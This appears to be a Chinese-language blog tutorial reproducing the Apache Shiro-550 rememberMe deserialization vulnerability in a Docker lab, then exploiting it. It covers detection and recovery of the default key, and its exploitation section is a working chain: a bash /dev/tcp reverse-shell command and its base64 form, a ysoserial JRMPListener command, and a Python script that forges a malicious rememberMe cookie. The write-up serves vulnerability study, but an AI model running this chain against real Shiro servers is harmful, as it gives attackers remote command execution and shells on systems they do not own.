Shiro-550反序列化漏洞复现及漏洞利用复现总结

Shiro-550反序列化漏洞复现及漏洞利用复现总结

    • 前言
    • 什么是序列化?
    • 什么是反序列化?
    • 环境搭建
      • 环境说明
      • 判断是否存在Shiro反序列化漏洞
    • Shiro rememberMe反序列化漏洞(Shiro-550)复现
      • 环境说明
      • 漏洞原理
      • 漏洞特征
      • 漏洞版本
      • 复现过程
      • Shiro-550漏洞利用
        • 反弹shell
    • 参考

前言

最近参与某项工作,有很多东西都需要补充学习,本文根据一些视频教程和网页博客总结而来,很多网站都存在这反序列化漏洞,学习一下作为知识储备,通过写这篇blog也帮助我理清思路。

什么是序列化?

    面向对象语言在存储对象的时候有一个很难存储的问题,就考虑将对象转换成字符串进行持久化存储,可以方便网络传输。即一个对象序列化,转化成字符串,然后传输给别人,再反序列化回来,即可做到网络传输。

什么是反序列化?

    与序列化相反,反序列化就是将字符串转换成对象的过程。

环境搭建

环境说明

  • kali:Linux kali 5.10.0-kali3-amd64

判断是否存在Shiro反序列化漏洞

  1. 在命令行中输入:apt-get install docker(如果此处出现无法定位软件包的问题,可以使用命令apt-get update更新一下)Shiro-550反序列化漏洞复现及漏洞利用复现总结_第1张图片
  2. 输入apt-get install docker-compose
    Shiro-550反序列化漏洞复现及漏洞利用复现总结_第2张图片
  3. 安装好后,使用reboot命令重启一下
  4. 启动服务:service docker start(这里的服务每次开机都需要重新启动一下)
    使用命令后,会出现一个会话框,输入kali当前用户的密码即可。
    Shiro-550反序列化漏洞复现及漏洞利用复现总结_第3张图片
  5. 输入命令下载shiro:docker pull medicean/vulapps:s_shiro_1(这个应该要在root下进行,或者普通用户sudo一下)
    Shiro-550反序列化漏洞复现及漏洞利用复现总结_第4张图片
  6. 开启shiro:docker run -d -p 80:8080 medicean/vulapps:s_shiro_1
    在这里插入图片描述
  7. 开启后,在kali自带的火狐浏览器中输入localhost或者本机的ip地址即可:
    Shiro-550反序列化漏洞复现及漏洞利用复现总结_第5张图片
  8. 点击Log in,任意输入账号和密码,勾选remember me。(此时打开火狐的代理,在扩展组件中添加,并设置ip和端口与Burp中对应,此处我是127.0.0.1和8080)
    Shiro-550反序列化漏洞复现及漏洞利用复现总结_第6张图片
  9. 打开kali中的抓包工具,此处使用Burp Suite,开启抓包:
    Shiro-550反序列化漏洞复现及漏洞利用复现总结_第7张图片
  10. 回到网页,点击Login,再次回到Burp Suite,Burp已经抓到包,鼠标右键—选择send to Repeater发送给重发器—点击工具栏上的Repeater:
    Shiro-550反序列化漏洞复现及漏洞利用复现总结_第8张图片
  11. 进入重发器Repeater之后,点击转发send,可以看到返回的包中含有字段remenberMe=deleteMe,说明存在Shiro反序列化漏洞:
    Shiro-550反序列化漏洞复现及漏洞利用复现总结_第9张图片

Shiro rememberMe反序列化漏洞(Shiro-550)复现

环境说明

  • python 2.7
  • kali Linux

漏洞原理

Apache Shiro框架提供了记住密码的功能(Remember Me),目前这个功能在很多网站上都存在,用户在登录一个网站的时候,登录的信息会被序列化、加密并编码,在请求服务的时候,服务端会对Remember Me中存的cookie值,先解码和解密,然后再反序列化,这里就存在着反序列化RCE漏洞。

漏洞特征

  • 使用抓包工具截取的时候,返回包中包含rememberMe=deleteMe字段

漏洞版本

  • Apache Shiro < 1.2.4

复现过程

  1. 在github上下载exp工具(github上有很多这样的工具,可以根据自己的需求进行下载):
    github下载地址:https://github.com/insightglacier/Shiro_exploit
    网盘下载地址:https://pan.baidu.com/s/1i–OYUMKD20V7B8fW028Og(提取码:36yr)
    下载之后是一个zip文件:
    Shiro-550反序列化漏洞复现及漏洞利用复现总结_第10张图片
  2. 下载完毕之后,复制到kali中,使用命令unzip -o 文件名进行解压,解压之后,继续在终端中输入命令pip install pycrypto安装相关的包(此处可能需要先执行命令安装pip)
  3. 执行命令:python shiro_exploit.py -u http://192.168.14.128:80(后面地址为本机ip地址:开启Shiro步骤的端口一致
    Shiro-550反序列化漏洞复现及漏洞利用复现总结_第11张图片4. 此时获取到了一个Shiro Key:kPH+bIxk5D2deZiIxcaaaA==

Shiro-550漏洞利用

反弹shell

    可以利用反弹得到的Shiro Key进行shell的反弹,反弹的原理可以看一下我之前的blog,有一些关于反弹shell的复现,如果只想看懂下文,看这一篇即可:https://blog.csdn.net/weixin_44283446/article/details/115133751?spm=1001.2014.3001.5501

  1. 在监听方开启监听(端口可以变化):
    nc -nlvp 1231
    在这里插入图片描述
  2. 在被监听方执行命令:
    bash -i >& /dev/tcp/监听方的ip地址/1231 0>&1(这个地方端口的设置和监听方要一致)
    Java Runtime 提供了在线编码地址:http://www.jackson-t.ca/runtime-exec-payloads.html,将bash -i >& /dev/tcp/监听方的ip地址/1231 0>&1输入进去,就可以得到匹配Bash的编码,在被监听方执行这个bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0LjEyOC8xMjMxIDA+JjE=}|{base64,-d}|{bash,-i}
    Shiro-550反序列化漏洞复现及漏洞利用复现总结_第12张图片
  3. 使用ysoserial.jar文件中JRMP监听模块,监听6666端口并执行反弹shell命令java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}',其中ysoserial.jar在github上下载下来的Shiro_Exploit-master包中带有:
    Shiro-550反序列化漏洞复现及漏洞利用复现总结_第13张图片
  4. 新建一个Shiro.py文件,输入以下代码:
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    # 此处使用前面拿到的Shiro Key
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])   
print "rememberMe={0}".format(payload.decode())

使用命令python shiro.py 被监听方ip地址:6666执行Shiro.py生成payload:
在这里插入图片描述

  1. 利用得到的rememberMe的值去构造数据包,生成cookie,发送payload。回到Buip Suite,在抓到的包中添加remenberMe的值,添加完毕后点击forword
    Shiro-550反序列化漏洞复现及漏洞利用复现总结_第14张图片
  2. 点击forword后,回到kali,拿到反弹shell:
    Shiro-550反序列化漏洞复现及漏洞利用复现总结_第15张图片

参考

https://cloud.tencent.com/developer/article/1657019
https://www.cnblogs.com/xiaozi/p/13239046.html
https://xz.aliyun.com/t/8445

你可能感兴趣的:(安全,漏洞,Shiro,安全漏洞,安全,shiro)